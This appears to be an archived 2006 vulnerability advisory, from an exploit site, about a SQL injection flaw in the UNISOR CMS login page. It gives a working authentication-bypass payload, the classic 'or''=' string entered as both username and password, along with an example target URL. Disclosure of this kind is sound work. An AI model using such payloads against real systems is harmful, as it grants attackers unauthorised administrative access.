UNISOR CMS suffers from a SQL injection vulnerability that can be used to gain administrative privileges.
aaf61e087988f7fb207d71a9dfcf2bff***********************
* Tunis the 26/10/2006*
* bug found by fireboy*
***********************
product:UNISOR CMS
vendor:www.unisor.nl
there is an sql injection problem in UNISOR CMS login page and it can be exploited to gain admin privileges.
exploit:
user: 'or''='
pass: 'or''='
example:http://www.target.com/unisor/login.asp
thx
© 2012 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed
Comments
No comments yet, be the first!